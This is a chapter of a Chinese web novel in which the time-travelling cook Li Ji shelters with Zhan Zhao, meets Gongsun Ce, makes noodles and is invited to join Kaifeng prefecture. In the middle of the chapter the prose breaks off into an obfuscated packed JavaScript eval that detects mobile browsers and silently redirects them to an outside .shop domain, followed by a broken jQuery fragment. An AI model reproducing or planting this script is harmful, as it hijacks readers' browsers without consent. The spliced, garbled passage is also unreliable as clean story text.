李季跟随展昭等人,又重新回到陈州城内。

    他们还需要掌握更多安乐侯的罪证,原来,展昭在荒郊野外偶然救下了一个人,从那人的口中,他们才得知安乐侯竟然丧心病狂地绑走了这人的妻子。

    那人的妻子不过是个普通的妇人,安乐侯此举实在是令人发指。

    身为御前带刀侍卫的展昭,向来秉持着正义与忠诚,遇到这样的事情自然不可能袖手旁观。

    于是趁着夜色的掩护,他悄悄摸进了软红堂,误打误撞地遇上了李季。

    本以为李季不过是个名不见经传的乡下小子,谁曾想,安乐侯竟然将其绑了送去汴京。

    这就不得不让人深思了,究竟是什么原因,才让安乐侯做出如此决定。

    张龙与赵虎挠头,二人面面相觑,百思不得其解,最终异口同声,“等公孙先生回来——问先生!”

    公孙先生足智多谋,见多识广,说不定能解开这个谜团。

    这会李季是跟着展昭,躲在田起元的家中,这位田起元就是展昭救下的那个人,在陈州城内是个小有名气的郎中。

    他平日里为人和善,医术也算精湛,生活虽然不算大富大贵,但也过得去。

    只是他妻子出门时被安乐侯给看上了,从此夫妻二人便遭了这无妄之灾。

    安乐侯仗着自己的权势,陷害与他,还强行将他的妻子绑走,让这个原本幸福美满的家庭陷入了无尽的痛苦之中。

    只是在李季看来,经过这次磨难,这对夫妻的感情似乎更好了。

    他们在困境中相互扶持,彼此的眼神中多了几分坚定和依赖。

    李季原欲即刻启程回去寻母,却被展昭按住肩头,语气温和却字字千钧,“令堂暂时还算安全,可若安乐侯为了找你加派人手,你这贸然归家,恐引祸上门。”

    李季心头一凛,霎时清醒。

    是啊,原身的母亲因为目不能视,腿脚也不利索,万一真像展昭所说,他岂不是害人不浅。

    想到这里,他只能暂时压下心中的担忧,安心地待在田起元的家中。

    恰在此时,院门轻叩三声。

    张龙立刻去开门,脸上露出了欣喜的笑容,仿佛看到救醒一般,“公孙先生,你算是回来了!”

    话音未落,李季已闻声抬头,一眼便认出那手持竹幡的身影,脱口而出道,“是你!恩人!”

    公孙策闻声莞尔,目光澄澈如初,笑着打招呼,“原来是李小哥,别来无恙。”

    李季简直要啧啧称奇了,分开前,他记得公孙先生是游医的模样,背着个药箱,四处为人治病。

    而现在,他已经换上一袭素净靛青直裰,腰束墨色绦带,发髻端正,手中竹幡迎风微扬,上书四字,“问卜算卦”,墨迹苍劲,隐含锋芒。

    这身份跨度有点大啊……

    李季要是这会还不明白,那就真白瞎以前看那么多电视剧了。

    公孙先生这身装扮,肯定是为了方便打探消息,毕竟在陈州城内,安乐侯的势力盘根错节,想要查清他的罪证,必须得小心谨慎。

    很快张龙就七嘴八舌的,将李季的遭遇,还有他们一起将人救回来的经过,都跟公孙先生说了一遍。

    “这么看来,这安乐侯确实是有问题。”公孙策听完,眉头微微皱起,眼神中透露出一丝忧虑。

    安乐侯的种种行为已经超出了正常的范畴,背后肯定隐藏着更大的阴谋。

    “可我看这小哥长的平平无奇啊,怎么就被安乐侯给盯上了。”张龙挠了挠头,一脸疑惑地说道。

    在他看来,李季就是一个普通的不能再普通的人,实在想不明白安乐侯为何会对他感兴趣。

    “话不能这么说的。”公孙策委婉地说道,他心里明白,安乐侯的眼光肯定不会那么简单,李季身上肯定有着不为人知的秘密。

    行了行了,他就是这么的平平无奇。

    自打穿越以来,李季就没照过镜子,开玩笑,这铜镜是谁家都买得起的吗?

    之前那后厨倒是有水缸,不过原身晒的太黑了,压根看不清。

    一白遮百丑,不是没有道理的。

    “其实李季鼻梁挺直,眼睛也挺大的。”展昭开口说道,他一直觉得李季有着一种独特的气质,虽然外表看起来普通,却是有一种随遇而安的大智慧。

    张龙纳闷的问道,“展护卫你是怎么看出来的?”

    “现在不是说我长相的时候吧?”李季连忙转移话题的说道,“要不,我现在去煮碗面给大家吃。”

    李季决定避开这个令他伤心的话题,他穿越前好歹也是个帅哥来着。

    “面是何物?”张龙疑惑的问道,他从来没有听说过这种东西。

    “那个就面团拉长了,煮出来的东西。”李季解释道,他记得面的历史有几千年吧,在中国饮食文化中占据着重要的地位。

    “原来小哥说的是索饼啊。”张龙迥然大悟,他以前听说过索饼,但没想到就是李季所说的面。

    得,还是吃了没文化的亏。

    李季无奈地叹了口气,他没有原主的一点记忆,很多常识都很缺乏。

    好在大家都知道他失忆的事,倒也没有怀疑过他不是原主。

    好在这田家还是挺有钱的,李季在厨房里看到大部分的食材都有。

    这陈州大旱,很多人家都颗粒无收,家里能有这些食材,那都是家底不少的人家。

    李季挽起袖子,开始和面揉面。他将面粉倒入盆中,加入适量的水,然后用手不停地揉搓,感受着面团在手中的变化。

    他的动作虽然有些生疏,但却充满了认真和专注。

    “这李小哥看起来,好像真有几把刷子。”张龙看着李季熟练的动作,不禁赞叹道。

    “是啊,真看不出来。”赵虎吸了吸鼻子,一脸期待的说道。

    不多时,几碗热气腾腾的面条便端上了桌。

    清亮的汤底上浮着点点油星,细白的面条整齐地卧在其中,几缕翠绿的葱花点缀其上,虽简单却透着诱人的香气。

    田起元夫妇尝了一口,眼睛都亮了,连声道,“从未吃过这般爽滑筋道的索饼,汤头也鲜美!”

    “嗯,这味道真是不错!”展昭赞许道。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495450|202471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“李小哥,你这手艺可以啊。”张龙一边吸溜着面条,一边含糊不清地说道。

    “大家喜欢就好。”李季笑着挠挠头,“不枉费我在那边后厨待了这么些天。”

    “公孙先生,李季手艺这么好,不若让李季跟我们回开封府吧。”张龙吃光了碗里的面,一脸期待的望着公孙策。

    “嗯?”公孙策望向张龙,“杜大郎的饭做的不好吃吗?”

    “就不是不好吃的问题。”赵虎皱眉,同样是简单的食材,李小哥做出来如此美味,换了杜老大,那就是糟蹋粮食!

    “杜老大年纪大了,之前提过想要归乡去。”展昭默默在一旁提起。

    “有这事吗?”公孙策疑惑的问道。

    “嗯,出门前说起的。”展昭点点头,认真的回答。

    公孙策听了,既然是展昭说的,那一定就是真的,便开口询问起来,“这样啊,那李小哥你可愿来开封府……”

    “愿意的愿意的!”李季小鸡啄米一般的点头,这还犹豫什么!

    开封府哎!

    混进去,不说算半个公务员,好歹有个遮风避雨的地方。

    更何况他小时候看的电视剧,他现在看到张龙他们,脑袋里就会自动想起那主题曲来。

    还能近距离看包大人断案,光想想都刺激!

    最重要的一点,还是那脑抽的安乐侯,也不知道抽什么风,要绑他去京城。

    进了开封府,至少安全感满满。

    “那好,等我们解决了陈州的事,便一同回京。”公孙策也挺喜欢这个憨憨的少年的,他话锋一转,低声道,“方才展护卫与我略说了些,安乐侯此人,贪婪暴戾,行事却非全无章法。”

    “没错,我们来陈州后,就没听到老百姓说他一句好话的。”赵虎气愤的说道。

    “他将你一个看似无足轻重之人专程押往汴京,其中必有重大干系。”公孙策继续说道,“你且仔细回想,无论是你自身,还是你家中,可有任何不同寻常之物,或是……听过什么特别的话?”

    李季心中纷乱,努力搜索着这具身体残留的、近乎空白的记忆,却只有一片混沌。

    “先生,我是真的一点都想不起来了。”他摇了摇头,苦笑说道,“我是你救的,自然也看到我们家徒四壁。”

    “无妨,既来之,则安之。”公孙策沉吟片刻后说道,“你暂且在此安心住下,展护卫会护你周全。待我等查明安乐侯更多罪证,禀明包大人,或许能从他那里找到线索,解开你身上之谜。”

    “只是……”他顿了顿,声音压得更低,“近日还需小心,莫要轻易外出。”

    “公孙先生放心吧,我们都会保护好李小哥的。”张龙拍着胸膛说道。

    “对了,先生,我记得我被叫去见安乐侯,他好像对我的脸很在意,说什么像,不知道说的是像谁。”李季突然想起来,立刻对公孙策说道。

    “所以是像谁呢?”众人端详着李季的脸,百思不得其解。

    “算了,不管像谁,我们还是先休息吧,时候不早了。”公孙策实在没有些什么头绪,便开口说道。